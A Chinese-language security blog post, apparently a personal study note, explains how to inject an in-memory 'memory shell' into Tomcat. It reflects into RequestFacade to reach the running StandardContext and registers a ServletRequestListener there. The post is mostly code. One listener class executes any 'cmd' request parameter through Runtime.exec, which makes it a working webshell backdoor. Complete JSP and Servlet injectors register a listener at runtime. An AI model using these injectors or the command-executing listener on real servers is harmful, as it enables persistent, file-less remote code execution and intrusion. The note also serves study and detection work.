0%

tomcat动态注册内存马

tomcat动态注册内存马

去年10月学了一段时间内存马,并没有好好整理这段知识,今天重新梳理一下tomcat内存马的相关知识。

javax.servlet.ServletContext

首先为什么我们可以在容器中动态添加内存马,那是因为Servlet 3.0提供了动态注册这种机制,我们可以看到在javax.servlet.ServletContext接口中定义了如addServletaddFilteraddListener这些接口。正因为有了这些接口,我们可以在具体的实现这些接口的类里面进行动态添加内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public interface ServletContext {

<T extends Servlet> T createServlet(Class<T> var1) throws ServletException;
ServletRegistration.Dynamic addServlet(String var1, Class<? extends Servlet> var2);

FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2);
<T extends Filter> T createFilter(Class<T> var1) throws ServletException;
void addListener(Class<? extends EventListener> var1);

<T extends EventListener> T createListener(Class<T> var1) throws ServletException;
void addListener(Class<? extends EventListener> var1);



}

当我们使用的容器是tomcat时,我们使用idea查找所有实现ServletContext接口的类我们发现有五个。在不了解tomcat是如何添加addServletaddFilteraddListener前提下我们也可以知道,动态添加内存马的关键在这五个类里面。

tomcat注册Listener

Listener类都是实现了EventListener接口的类,所以实现类有很多,这里我们看一下实现了EventListener接口的ServletRequestListener接口。他有两个待实现函数,分别代表着request初始化时监听和request销毁时监听,非常适合做内存马。

1
2
3
4
5
6
7
8
9
package javax.servlet;

import java.util.EventListener;

public interface ServletRequestListener extends EventListener {
void requestDestroyed(ServletRequestEvent var1);

void requestInitialized(ServletRequestEvent var1);
}

我们实现一个简单的ServletRequestListener看一下linsener是如何被调用的。这里我们写的是requestDestroyed,因为每次请求结束request对象就会被销毁,所以可以调用到我们的监听。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;


@WebListener("/TestListener")
public class shell_linsener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent s) {
HttpServletRequest req = (HttpServletRequest) s.getServletRequest();//下断点
String cmd = req.getParameter("cmd");
try{
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
// org.apache.catalina.connector.Request
Object reqObj = reqField.get(req);
// org.apache.catalina.connector.Response
HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
PrintWriter out = rep.getWriter();
// rep.sendError(404);
out.println("linsener_resp_test");
}catch(NoSuchFieldException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e){
e.printStackTrace();
} catch (IOException e) {
throw new RuntimeException(e);
}
if (cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

@Override
public void requestInitialized(ServletRequestEvent s) {
}
}

我们在HttpServletRequest req = (HttpServletRequest) s.getServletRequest();这一行下断点。会发现调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
requestDestroyed:22, shell_linsener (org.hang.web_test)
fireRequestDestroyEvent:6019, StandardContext (org.apache.catalina.core)
invoke:177, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:885, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

fireRequestDestroyEvent调用了我们写的linsener,我们跟进fireRequestDestroyEvent看一下他是逻辑是怎么样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public boolean fireRequestDestroyEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();//获取所有的listener
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);

for(int i = 0; i < instances.length; ++i) {
int j = instances.length - 1 - i;
if (instances[j] != null && instances[j] instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instances[j];

try {
listener.requestDestroyed(event);
} catch (Throwable var8) {
ExceptionUtils.handleThrowable(var8);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instances[j].getClass().getName()}), var8);
request.setAttribute("javax.servlet.error.exception", var8);
return false;
}
}
}
}

return true;
}

关键代码Object[] instances = this.getApplicationEventListeners();意思是获取所有的linsener并形成数组,如果数组不为空,则执行每个数组的listener.requestDestroyed(event);


这里我们再继续看一下getApplicationEventListeners()这个方法。位于org.apache.catalina.core.StandardContext,可以看到返回的是applicationEventListenersList这个数组。

1
2
3
public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}

我们再看一下applicationEventListenersList这个列表是哪里来的。
可以看到他是一个CopyOnWriteArrayList数组,既然是数组我们就可以使用add方法进行添加。

1
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();

所以我们在org.apache.catalina.core.StandardContext找一下哪里调用了applicationEventListenersList。add方法。

我们找到了两个地方可以调用add。

1
2
3
4
5
6
7
8
9
10
11
public void setApplicationEventListeners(Object[] listeners) {
this.applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
this.applicationEventListenersList.addAll(Arrays.asList(listeners));
}

}

public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}

学了反射我们有很多种方式可以在我们自己创建的StandardContext中添加我们的listeners(在我们的环境中)。下放列举一种例如:

1
2
3
4
5
Class c = Class.forName("org.apache.catalina.core.StandardContext");
Constructor ct1 = c.getConstructor();//不会初始化,无参构造
StandardContext obj = (StandardContext)ct1.newInstance();
ServletRequestListener listener = new ServletRequestListener() {}
obj.addApplicationEventListener(listener);

但是由于tomcat架构的原因,我们不能这样操作,我们得添加到对方的StandardContext里面去。

那么如何才能获取到当前应用的StandardContext呢,也就是当前运行中tomcat的StandardContext呢。
还是看我们的调用链,我们在invoke:177, StandardHostValve (org.apache.catalina.core)//看这一行,跟进去一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
requestDestroyed:22, shell_linsener (org.hang.web_test)
fireRequestDestroyEvent:6019, StandardContext (org.apache.catalina.core)
invoke:177, StandardHostValve (org.apache.catalina.core)//看这一行
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:885, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

发现他调用了context.fireRequestDestroyEvent

1
2
3
if (!request.isAsync() && !asyncAtStart) {
context.fireRequestDestroyEvent(request.getRequest());
}

然后我们再找一下context.fireRequestDestroyEvent的context是哪里来的,发现 Context context = request.getContext(); 也就是说可以通过当前应用的request来获取当前应用的context。

1
2
3
4
5
6
public final void invoke(Request request, Response response) throws IOException, ServletException {
Context context = request.getContext();
if (context == null) {
if (!response.isError()) {
response.sendError(404);
}

我们去org.apache.catalina.connector.Request包里,也是可以发现存在getContext方法。

1
2
3
public Context getContext() {
return this.mappingData.context;
}

也就是说我们可以通过Request来获取Context,那我们如何获取当前应用的Request呢。

JSP写Listener

首先我们先看jsp如何写Listener。因为jsp内置了Request,我们写个简单的程序下断点跟进一下。

1
2
3
<%
HttpSession s = request.getSession();//下断点
%>

我们可以看到请求的过程中存在request和response,他们的对象为RequestFacade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_jspService:16, test_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:765, HttpServlet (javax.servlet.http)
service:465, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:383, JspServlet (org.apache.jasper.servlet)
service:331, JspServlet (org.apache.jasper.servlet)
service:765, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:885, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

我们查看一下RequestFacade,发现其存在Request变量。

1
2
public class RequestFacade implements HttpServletRequest {
protected Request request = null;}

所以这里我们可以通过反射RequestFacade获取Request。

1
2
3
4
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);//因为是protected
Request req = (Request) f.get(request);//反射获取值
StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext

完整jsp代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);//因为是protected
Request req = (Request) f.get(request);//反射获取值
StandardContext context = (StandardContext) req.getContext(); //直接通过request获取StandardContext
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
// org.apache.catalina.connector.Request
Object reqObj = reqField.get(req);
// org.apache.catalina.connector.Response
HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
PrintWriter out = rep.getWriter();
out.println("d_add_hack");

}catch (Exception e){
e.printStackTrace();
}
}
};

context.addApplicationEventListener(listener);


%>

访问jsp文件发现linsener成功添加。

Servlet写Listener

因为普通的Servlet继承了HttpServlet,里面包含HttpServletRequest和HttpServletResponse,我们发现具体实现类还是RequestFacade,那么我们可以和jsp一样的构造。访问即可成功添加Listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletException;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

/**
* author: f19t
* Date: 2023/2/28 16:45
*/

@WebServlet(value = "/test_StandardContext")
public class Test_StandardContext extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {


Request req1 = null;
try {
Field f = req.getClass().getDeclaredField("request");
f.setAccessible(true);
req1 = (Request) f.get(req);

StandardContext obj = (StandardContext) req1.getContext();
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
// org.apache.catalina.connector.Request
Object reqObj = reqField.get(req);
// org.apache.catalina.connector.Response
HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj);
PrintWriter out = rep.getWriter();
out.println("d_add_hack");

} catch (Exception e) {
e.printStackTrace();
}
}
};
obj.addApplicationEventListener(listener);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
}

}

后记:当然还有其他方法获取StandardContext,但是不如上面使用的代码简便,下发贴了截图,有兴趣的可以自己调试一下。

当我们想反序列化写内存马的时候,或者想做命令执行回显的时候,我们也是需要获取到当前应用的StandardContext,或者是当前应用的request。我们下一篇学一下如何在目标当前线程中获取request。